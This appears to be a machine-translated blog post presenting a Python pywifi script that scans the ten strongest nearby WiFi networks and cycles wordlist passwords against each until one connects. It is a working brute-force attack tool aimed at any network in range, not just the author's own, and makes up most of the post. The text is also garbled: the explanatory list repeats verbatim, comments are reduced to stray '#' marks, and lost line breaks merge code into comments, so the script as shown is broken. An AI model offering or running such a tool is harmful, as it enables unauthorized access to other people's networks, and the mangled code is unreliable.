python WiFi暴力解読ウィジェット
10200 ワード
考え方:
1、最初の10個の信号の最も良いwifiをスキャンして、ssidを得る
2、それから1つのパスワードで、すべてのssidを遍歴して、接続できるかどうかを試します
3、パスワードが正しく接続されていると、プログラムを終了するとエラーが発生します.そうしないと、ずっと実行されます.
4、このスクリプトは最適化されておらず、実行時にバグが発生する可能性がある
5、時間は2~3秒程度でssidをスキャンし、コンピュータによっては修正できますが、時間間隔が短すぎるとエラーが発生します.例えば、正しいパスワードは時間が短すぎるためエラーとみなされます.
このブログは、pythonがワイヤレスwifiを解読することを勉強して、自分のニーズに合わせて拡張して書き換えたもので、皆さんはこの大神のブログを学ぶことができます.
実行時の現象:
1、最初の10個の信号の最も良いwifiをスキャンして、ssidを得る
2、それから1つのパスワードで、すべてのssidを遍歴して、接続できるかどうかを試します
3、パスワードが正しく接続されていると、プログラムを終了するとエラーが発生します.そうしないと、ずっと実行されます.
4、このスクリプトは最適化されておらず、実行時にバグが発生する可能性がある
5、時間は2~3秒程度でssidをスキャンし、コンピュータによっては修正できますが、時間間隔が短すぎるとエラーが発生します.例えば、正しいパスワードは時間が短すぎるためエラーとみなされます.
このブログは、pythonがワイヤレスwifiを解読することを勉強して、自分のニーズに合わせて拡張して書き換えたもので、皆さんはこの大神のブログを学ぶことができます.
実行時の現象:
:
# coding:utf-8 import time # import pywifi # wifi from pywifi import const # from asyncio.tasks import sleep
class PoJie():
def __init__(self,path):
self.file=open(path,"r",errors="ignore")
wifi = pywifi.PyWiFi() # self.iface = wifi.interfaces()[0]# self.iface.disconnect() # time.sleep(1) # 1 self.list=self.initialssidnamelist()
# , assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def bies(self):
self.iface.scan() # bessis = self.iface.scan_results()
list = []
for data in bessis:
list.append((data.ssid, data.signal))
return len(list), sorted(list, key=lambda st: st[1], reverse=True)
def getsignal(self):
while True:
n, data = self.bies()
time.sleep(1)
if n is not 0:
return data[0:10]
def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
for item in ssidlist:
namelist.append(item[0])
return namelist
def readPassWord(self,ssidname,myStr):
bool1=self.test_connect(myStr,ssidname)
if len(myStr)<8:
return False if bool1:
print(" +++++++++++++ :"+myStr+" "+ssidname)
return True else:
print(" :"+myStr+" "+ssidname)
return False def test_connect(self,findStr,ssidname):# profile = pywifi.Profile() # wifi profile.ssid =ssidname #wifi # profile.ssid ="Netcore" #wifi profile.auth = const.AUTH_ALG_OPEN # , profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi profile.cipher = const.CIPHER_TYPE_CCMP # profile.key = findStr # self.iface.remove_all_network_profiles() # wifi tmp_profile = self.iface.add_network_profile(profile)# self.iface.connect(tmp_profile)# time.sleep(2)
if self.iface.status() == const.IFACE_CONNECTED: # isOK=True else:
isOK=False self.iface.disconnect() # time.sleep(1)
# assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.list:
ret=self.readPassWord(ssidname,myStr)
if ret:
raise FileExistsError
def __del__(self):
self.file.close()
path=r"G:\DownLoad\6000 .txt" start=PoJie(path)
start.run()